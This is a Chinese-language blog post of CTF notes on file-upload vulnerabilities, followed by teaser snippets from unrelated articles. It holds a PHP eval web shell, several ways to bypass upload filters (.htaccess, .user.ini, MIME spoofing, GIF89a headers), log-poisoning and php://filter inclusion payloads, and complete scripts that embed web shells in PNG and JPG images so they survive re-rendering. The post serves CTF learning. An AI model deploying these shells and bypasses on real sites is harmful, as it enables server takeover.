文件上传知识点汇总
归纳总结一下文件上传(其实是懒得写wp)
基于Dream ZHO师傅的CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客
和dota_st 师傅的ctfshow-Web1000题系列修炼(一) | dota_st
做一篇自己的总结
目录
一、什么是文件上传
木马文件
如何利用木马文件
二、文件上传绕过检测
无检测
js前端检测
1.bp抓包
2.更改js代码
3.直接浏览器ban掉js
MINE检测
黑名单绕过
.htaccess
.user.ini(好用)
白名单绕过
00截断
图片马
getimagesize()绕过
三、木马绕过
短标签绕过
命令执行与文件包含
四、图片马的二次渲染
png
jpg
五、小结
一、什么是文件上传
文件上传漏洞指服务端没有对用户上传的文件进行严格的过滤,从而使用户可以上传木马文件,控制整个网站。
那么什么是木马文件呢?
木马文件
我们常见的木马就是一句话木马
<?php @eval($_POST['a']);?>
在php中eval()函数的作用是可以将传入的参数当作命令执行,
@是用来防止报错的,因为我们本身没有定义a变量,这里本来不能使用a变量,但是@使代码可以继续执行下去,不产生报错。
(我也是个小萌新,所以暂时也只知道这么一个常用来做题目的木马QAQ)
一般写木马的时候需要关闭一下病毒防护,不然你刚写完,windows就把你写的文件给删了。
知道了什么是木马文件后,我们还有两个问题要解决,怎么传上去,传上去之后该干嘛,
怎么传上去就是本文的重点了,所以先讲一下传上去以后该干嘛。
如何利用木马文件
因为是一个eval函数,我们需要在网页里打开我们上传的.php文件,一般打开之后是空白的
用的是BaseCTF_week1的upload题

然后我们有两种方式获取flag,一种是通过POST传参数a进行命令执行,一种是用蚁剑进行链接,链接密码就是参数a。


注意一下不能用https协议。提一嘴,py的request库也不能用https协议(不知道为什么)

那么知道了如何利用木马文件,接下来就是本文的重头戏
二、文件上传绕过检测
无检测
咳咳,故名思意,就是没有检测,随便上传php文件。(上面那道upload就是无检测)
js前端检测
也就是网页本身代码中存在检测,后端没有检测,这边大致有三种办法
1.bp抓包
我们把含有一句话木马的php文件后缀改为其他后缀,如.txt,然后上传之后用bp抓包截获,这时我们可以更改后缀名改回php,然后继续发送,就可以发现绕过成功
例题:ctfshow_web151

上传1.png文件,里面写入一句话木马

把这个2.png改为2.php (下面那个Content-Type不用改,这个是下一个知识点)

2.更改js代码
因为前端检测不是要点,这里给篇文章,大家可以自行选择去看
渗透学习-学习记录-利用浏览器的开发者工具实时修改网页前端JS代码(实现绕过)_如何修改网页js-CSDN博客
3.直接浏览器ban掉js
简单粗暴,这里也给个文章看看
各常用浏览器如何禁用js_浏览器禁用js-CSDN博客
MINE检测
这个就是刚刚提到的Content-Type
Content-Type是指示发送端内容的媒体类型的 HTTP 头部,广泛用于请求和响应中。
然后在php代码中可能存在这种代码
$type=$_FILES['file']['type'];
$allowedImageTypes = [
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'image/webp'
];
if(!in_array($type,$allowedImageTypes)){
echo "<script>alert('只能允许上传图片')</script>";
exit();
}
这样就是一个MIME检测
怎么绕过呢?其实就是把Content-Type的值改为php检测可以通过的值就行,比如.png.jpeg等等
例:ctfshow_web152
(这道题因为还有前端的存在,所以还是要上传png,然后就不用更改Content-Type的值,虽然但是这道题目确实是这个考点。。)


黑名单绕过
网站后端会过滤掉.php文件,不让你上传,这就是黑名单,如何绕过呢?
1.文件大小写过滤,形如.pHp、.PhP等等
2.双写绕过,形如.pphphp(后端代码让连在一起的php替换成' '。.pphphp替换之后就变成了.php)
3.等价拓展名,形如php2、.php3、.php4、.phps、.phtml
这里可以先传入.htaccess文件(作用于Apache)
.htaccess
里面写上以下内容
AddType application/x-httpd-php .php .phtml
意思就是让.phtml像.php文件一样解析
同时也讲一下.user.ini文件
.user.ini(好用)
.user.ini 文件是 PHP 配置的用户级别配置文件,允许在不修改全局 php.ini 配置文件的情况下对特定目录 或文件夹中的 PHP 设置进行调整。它主要用于在共享主机或没有对全局配置进行控制的环境中,修改 PHP 配置。
auto_prepend_file=1.png
include("1.png")
白名单绕过
黑名单会过滤.php文件,不允许php文件上传,那么白名单就是只允许某类文件上传。
比如只允许.png文件上传
00截断
windows系统识别到文件名中00的时候将不再向后识别
仅适用于php版本小于5.3.4并且php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off
图片马
顾名思义,就是图片木马,在图片文件里添加一句话木马。
添加方法如下
010里在文件末尾添加一句话木马即可。
也可以在cmd里执行。(虽然我没成功过)
copy 1.jpg/b+2.php 3.jpg

值得注意的是,这种用法需要这个文件被包含了才有用,否则跟真的上传一个图片没啥区别。
所以是需要万能的.user.ini的(说白了和之前的绕过手法差不多)

getimagesize()绕过
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
所以我们在一句话木马前面加个GIF89a即可,(也不知道为什么)
GIF89a
auto_prepend_file=/tmp/sess_muma
三、木马绕过
什么!!!木马也要绕过!!!
因为后端可能会对php代码有锁过滤,所以也需要学习一些绕过手法
短标签绕过
<?=@eval($_POST['a']);?>
ban了php的话可以用短标签来代替原本的<?php ?>
命令执行与文件包含
有时候一句话木马会被ban,这个时候我们可以上传一些命令,比如
<?=system("ls");?>
没错,直接传命令也可以(命令执行的知识点!!)
命令执行知识点汇总-CSDN博客(推销一下我自己)
然后文件包含,这里其实就是传的命令可以是一些伪协议
<?=include"php://filter/convert.base64-encode/resource=../flag.php"?>
都到这里了,php这种估计也被ban了,这里可以通过"ph"."p.....的形式绕过
也可以日志注入,<?=include"/var/log/nginx/access.log"?> 日志里有会返回ua头的话,就可以在ua里传入一句话木马
当然session注入,条件竞争等等都可以在文件上传实现,这里就不多讲了。
四、图片马的二次渲染
有些网站会对上传的图片进行二次处理,会生成一个新的图片放到网页上
png
国外大牛写的png二次渲染脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>
生成图片后上传,然后命令执行即可
jpg
同样是国外大牛
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = '<?=eval($_POST[1]);?>';if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
我们需要先上传一个正常的图片,让他渲染一次
然后把渲染后的图片和php代码一起执行
Linux里,以这个形式 “php 脚本文件 图片文件”
成功后再次上传,然后命令执行即可。
五、小结
本来想每个知识点都添加例题的,但是篇幅实在是有点长,最后还有一个木马免杀部分没有写,我暂时也不是很清楚,之后会添加在文章里面,那么文件上传知识点就汇总到这。
相关文章:
文件上传知识点汇总
归纳总结一下文件上传(其实是懒得写wp) 基于Dream ZHO师傅的CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客 和dota_st 师傅的ctfshow-Web1000题系列修炼(一) | dota_st 做一篇自己的总结 目录 一、什么…...
计算机网络技术基础:5.数据通信系统
一、数据通信的基本概念 1.信息 信息是对客观事物的运动状态和存在形式的反映,可以是客观事实的形态、大小、结构、性能等描述,也可以是客观事物与外部之间的联系。信息的载体可以是数字、文字、语音、图形和图像等。计算机及其外围设备产生和交换的信息…...
光谱相机在农业的应用
一、作物生长监测1、营养状况评估 原理:不同的营养元素在植物体内的含量变化会导致植物叶片或其他组织的光谱反射率特性发生改变。例如,氮元素是植物叶绿素的重要组成部分,植物缺氮时,叶绿素含量下降,其在可见光波段&a…...
高考志愿填报:如何制定合理的志愿梯度?
高考志愿填报中常见的避雷行为,深入分析了专业选择、招生政策了解、学校选择、备选方案准备以及防诈骗等方面的关键问题,并提出了针对性的建议与策略。旨在为考生和家长提供实用的指导,助力考生科学合理地填报高考志愿,避免陷入各…...
Android基于Path的addRoundRect,Canvas剪切clipPath简洁的圆角矩形实现,Kotlin(1)
Android基于Path的addRoundRect,Canvas剪切clipPath简洁的圆角矩形实现,Kotlin(1) <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res…...
webGL硬核知识:图形渲染管渲染流程,各个阶段对应的API调用方式
一、图形渲染管线基础流程概述 WebGL 的图形渲染管线大致可分为以下几个主要阶段,每个阶段都有其特定的任务,协同工作将 3D 场景中的物体最终转换为屏幕上呈现的 2D 图像: 顶点处理(Vertex Processing)阶段࿱…...
区块链详解
1. 概述 1.1 什么是区块链? 区块链是一种分布式数据库技术,它以链式数据结构的形式存储数据,每个数据块与前一个数据块相关联,形成了一个不断增长的数据链。每个数据块中包含了一定数量的交易信息或其他数据,这些数据…...
【EXCEL 逻辑函数】AND、OR、XOR、NOT、IF、IFS、IFERROR、IFNA、SWITCH
目录 AND:当所有条件都为真时返回 TRUE,否则返回 FALSE OR:当任一条件为真时返回 TRUE,否则返回 FALSE XOR:当奇数个条件为真时返回 TRUE,否则返回 FALSE NOT :反转逻辑值 IF:根…...
ubuntu下gdb调试ROS
参考: 使用VsCode进行ROS程序调试_ros vscode 调试-CSDN博客 https://blog.csdn.net/weixin_45031801/article/details/134399664?spm1001.2014.3001.5506 一、调试准备 1.1 CMakeLists改动 注释文件中的 set(CMAKE_BUILD_TYPE "Release") #构建类…...
Docke_常用命令详解
这篇文章分享一下笔者常用的Docker命令供各位读者参考。 为什么要用Docker? 简单来说:Docker通过提供轻量级、隔离且可移植的容器化环境,使得应用在不同平台上保持一致性、易于部署和管理,具体如下 环境一致性: Docker容器使得…...
使用vue2.0或vue3.0创建自定义组件
Vue2.0创建自定义组件 在 Vue 2.0 中创建自定义组件是一个相对简单的过程。以下是一个详细的步骤指南,帮助你创建一个自定义组件。 步骤 1: 创建 Vue 组件文件 首先,你需要创建一个新的 Vue 文件(.vue 文件)。假设我们要创建一…...
Elasticsearch-DSL高级查询操作
一、禁用元数据和过滤数据 1、禁用元数据_source GET product/_search {"_source": false, "query": {"match_all": {}} }查询结果不显示元数据 禁用之前: {"took" : 0,"timed_out" : false,"_shards" : {&quo…...
【Linux】重启系统后开不开机(内核模块丢失问题)
问题 重启后开不开机报错如下: FAILED failed to start load kernel moduiles 可以看到提示module dm_mod not found 缺少了dm_mod 在内核module目录中 reboot重启可以看到这个现象: 可以看到重启启动磁盘,加载不到root 原因 dm_mod模块…...
对golang的io型进程进行off-cpu分析
背景: 对于不能占满所有cpu核数的进程,进行on-cpu的分析是没有意义的,因为可能程序大部分时间都处在阻塞状态。 实验例子程序: 以centos8和golang1.23.3为例,测试下面的程序: pprof_netio.go package m…...
Springboot中使用Retrofit
Retrofit官网 https://square.github.io/retrofit/ 配置gradle implementation("com.squareup.okhttp3:okhttp:4.12.0")implementation ("com.squareup.retrofit2:retrofit:2.11.0")implementation ("com.squareup.retrofit2:converter-gson:2.11.0…...
Ubuntu中配置内网固定IP
文章目录 背景一、配置步骤(一)首先确认网卡名称(二)确认网关(三)备份配置文件(四)编辑配置文件(五)应用配置(六)验证配置 二、注意事…...
ExcelVBA编程输出ColorIndex与对应颜色色谱
标题 ExcelVBA编程输出ColorIndex与对应颜色色谱 正文 解决问题编程输出ColorIndex与对应色谱共56,打算分4纵列输出,标题是ColorIndex,Color,Name 1. 解释VBA中的ColorIndex属性 在VBA(Visual Basic for Applications)中ÿ…...
MySQL中in和exists的使用场景
在MySQL中,IN 和 EXISTS 是用于子查询的两种常见方法,它们在不同的场景下有不同的表现和适用性。下面我将详细介绍这两种方法的使用场景、优劣,并通过实验来说明问题。 IN 子查询 使用场景: 当子查询返回的结果集较小且不包含 …...
【多线程2】start 和 run 区别,终止线程,等待线程
Thread 类使用 start 方法,启动一个线程,对于同一个 Thread 对象来说,start 只能调用一次!!! 不怕名字起的长,就怕含义不清楚! 想要启动更多线程,就是得创建新的对象&am…...
富途证券C++面试题及参考答案
C++ 中堆和栈的区别 在 C++ 中,堆和栈是两种不同的内存区域,它们有许多区别。 从内存分配方式来看,栈是由编译器自动分配和释放的内存区域。当一个函数被调用时,函数内的局部变量、函数参数等会被压入栈中,这些变量的内存空间在函数执行结束后会自动被释放。例如,在下面的…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
React19源码系列之 事件插件系统
事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...
基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...
【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...
